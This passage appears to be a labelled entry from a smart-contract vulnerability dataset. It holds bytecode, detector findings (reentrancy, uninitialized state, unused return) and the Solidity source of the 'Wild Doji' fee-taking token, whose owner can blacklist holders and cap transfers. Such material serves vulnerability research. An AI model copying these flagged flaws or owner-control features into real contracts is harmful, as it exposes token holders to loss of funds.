000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea26469706673582212203910600a63e633b3c4181ba2749712e5c6a3d001ff6d8e90f91a33fa855953ec64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,976 |
0xc51dc6539050e33ebf72b36d079ab449295d46ec
|
//Telegram: https://t.me/wilddoji
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WildDoji is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Wild Doji";
string private constant _symbol = "WDoji";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600981526020017f57696c6420446f6a690000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506729a2241af62c00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f57446f6a69000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b602842611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b60016008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060